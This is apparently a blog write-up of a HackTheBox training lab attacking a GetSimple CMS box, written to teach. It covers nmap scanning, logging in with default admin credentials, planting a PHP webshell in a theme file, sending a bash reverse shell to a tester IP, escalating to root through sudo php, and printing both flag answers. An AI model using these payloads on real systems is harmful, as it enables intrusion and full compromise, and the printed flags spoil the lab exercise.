HackTheBox Getting Started — Knowledge Check WriteUp

Let’s put together everything we learned in this module and attack our first box without a guide.

Tips

Remember that enumeration is an iterative process. After performing our Nmap port scans, make sure to perform detailed enumeration against all open ports based on what is running on the discovered ports. Follow the same process as we did with Nibbles:

• Enumeration/Scanning with Nmap - perform a quick scan for open ports followed by a full port scan
• Web Footprinting — check any identified web ports for running web applications, and any hidden files/directories. Some useful tools for this phase include whatweb and Gobuster
• If you identify the website URL, you can add it to your ‘/etc/hosts’ file with the IP you get in the question below to load it normally, though this is unnecessary.
• After identifying the technologies in use, use a tool such as Searchsploit to find public exploits or search on Google for manual exploitation techniques
• After gaining an initial foothold, use the Python3 pty trick to upgrade to a pseudo TTY
• Perform manual and automated enumeration of the file system, looking for misconfigurations, services with known vulnerabilities, and sensitive data in cleartext such as credentials
• Organize this data offline to determine the various ways to escalate privileges to root on this target

There are two ways to gain a foothold — one using Metasploit and one via a manual process. Challenge ourselves to work through and gain an understanding of both methods.

There are two ways to escalate privileges to root on the target after obtaining a foothold. Make use of helper scripts such as LinEnum and LinPEAS to assist you. Filter through the information searching for two well-known privilege escalation techniques.

Have fun, never stop learning, and do not forget to think outside of the box!

Question 1:

Spawn the target, gain a foothold and submit the contents of the user.txt flag.

We start by running nmap on the target (10.129.91.73)

sudo nmap -p- --min-rate=10000 10.129.91.73

sudo — Runs nmap with root privileges, which is required for certain scan types like SYN scans.

-p- — Scans all 65,535 TCP ports instead of just the default top 1,000.

--min-rate=10000 — Tells nmap to send at least 10,000 packets per second, significantly speeding up the scan.

10.129.91.73 — The target IP address on the HTB network.

Now that we know 2 ports are open (22 & 80), we can run a more detailed scan on these 2 ports:

sudo nmap -p 22,80 -sC -sV -oN tmp.nmap 10.129.91.73

• -p 22,80 — Only scan ports 22 and 80 (the ones we found open earlier).
• -sC — Run default NSE scripts for extra enumeration (banners, robots.txt, etc.).
• -sV — Detect service versions running on those ports.
• -oN tmp.nmap — Save the output in normal format to a file called tmp.nmap.

Findings:

• Port 22 — SSH running OpenSSH 8.2p1 on Ubuntu, with RSA, ECDSA, and ED25519 host keys.
• Port 80 — Apache 2.4.41 web server on Ubuntu.
• robots.txt — Contains one disallowed entry: /admin/.
• HTTP title — “Welcome to GetSimple! — gettingstarted”, telling us the site is running GetSimple CMS.
• OS — Linux, confirmed by the service info.

Now we can start with web enumerations & web exploits:

As seen in the nmap scan, robots.txt exists that contains an entry of admin (disallowed). We can try to visit /admin

http://10.129.91.73/admin/

After trying some common credentials, I had luck with admin:admin

After logging in, we get redirected to:

http://10.129.91.73/admin/pages.php

There are multiple vectors that we can approach.

One would be searching up for GetSimple CMS Version 3.3.15 exploits (msfconsole offers exploits as well — CVE-2019–11231).

https://www.exploit-db.com/exploits/46880

Get th3V0!D’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

I decided to upload a webshell. First we need to navigate to the Theme page and click on Edit Theme:

Next step is to edit the Innovation page and add our webshell:

<?php system($_REQUEST["cmd"]); ?>

You can just add this line to the top

Make sure to save the changes.

Now we can visit the page and check if our webshell works.

http://gettingstarted.htb/theme/Innovation/template.php?cmd=id

You can either replace “gettingstarted.htb” with the IP address or resolve the hostname (mapping the hostname to the IP) by adding the following entry to your /etc/hosts file:

10.129.91.73    gettingstarted.htb

To check if our webshell runs, we search for:

http://gettingstarted.htb/theme/Innovation/template.php?cmd=id

And we can see that it works!

To have a more interactive shell, we can run a reverse shell. For this task, I opened burpsuite to intercept our request and replace the “id” command with a reverse shell after sending the request to repeater.

This command will work:

bash -c 'bash -i >& /dev/tcp/10.10.16.176/4444 0>&1'

Replace with your tun0 IP and listening port

But we need to URL encode it.

Ctrl + U after marking the command or

• Mark the reverse shell command
• right click
• Convert selection -> URL -> URL-Encode key characters

bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.176/4444+0>%261'

Before sending this request, we also need to start our listener:

nc -lvnp 4444

And we get a shell

Now I decided to upgrade my shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl + z

stty raw -echo; fg

export TERM=xterm-256color

To answer the question, we can read the user.txt file located at /home/mrb3n

cat /home/mrb3n/user.txt

Answer:

7002d65b149b0a4d19132a66feed21d8

Question 2:

After obtaining a foothold on the target, escalate privileges to root and submit the contents of the root.txt flag.

To escalate our privileges to root, we can first check what our current user (www-data) is allowed to run.

sudo -l

It shows us that we can run /usr/bin/php with sudo without providing a password. So we can simply run:

sudo /usr/bin/php -r 'system("/bin/bash");'

And we are root

The root flag can be read via:

cat /root/root.txt

Answer:

f1fba6e9f71efb2630e6e34da6387842